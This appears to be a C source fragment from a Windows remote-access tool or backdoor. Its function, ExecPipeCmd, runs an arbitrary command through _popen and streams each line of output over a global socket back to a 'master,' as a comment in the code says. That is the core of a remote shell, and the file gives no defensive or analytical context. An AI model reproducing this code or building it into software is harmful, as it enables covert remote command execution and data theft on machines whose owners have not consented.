ExecPipeCmd

ExecPipeCmd.c

int ExecPipeCmd(char *szCmd)
{
    FILE *pPipe = _popen(szCmd, "rt");
    if (NULL == pPipe) {
        //Log("_popen functio fail.\n");
        return -1;
    }

    int nRet = -1;
    CHAR szBuf[SOCK_BUF_SIZE] = {0};
    while (fgets(szBuf, sizeof(szBuf), pPipe)) {
        //send buf info to master.
        nRet = send(g_hSock, szBuf, strnlen_s(szBuf, sizeof(szBuf)), 0);
        if(nRet < 0) {
            //Log("\nError occuerd while send data.");
            break;
        }
        ZeroMemory(szBuf, sizeof(szBuf));
    }

    if (0 == _pclose(pPipe)) {
        return 0;
    }

    return -1;
}